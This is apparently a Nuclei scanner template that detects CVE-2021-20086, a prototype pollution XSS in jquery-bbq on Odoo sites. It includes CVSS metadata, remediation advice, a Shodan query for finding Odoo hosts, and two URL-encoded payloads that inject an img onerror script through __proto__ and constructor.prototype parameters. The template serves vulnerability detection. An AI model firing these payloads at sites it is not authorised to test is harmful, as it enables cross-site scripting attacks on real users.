id: CVE-2021-20086

info:
  name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
  author: 1337rokudenashi
  severity: high
  description: |
    jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
  impact: |
    Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
  remediation: |
    Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
  reference:
    - https://www.tenable.com/security/research/tra-2022-10
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20086
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-20086
    cwe-id: CWE-1321
    epss-score: 0.06104
    epss-percentile: 0.9266
    cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jquery-bbq_project
    product: jquery-bbq
    shodan-query: html:"Odoo"
  tags: cve,cve2021,odoo,xss,proto,jquery,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"
      - "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - '!contains(body, "debug:")'
          - 'contains_all(body, "alert(document.domain)","var odoo =")'
          - 'status_code == 200'
        condition: and
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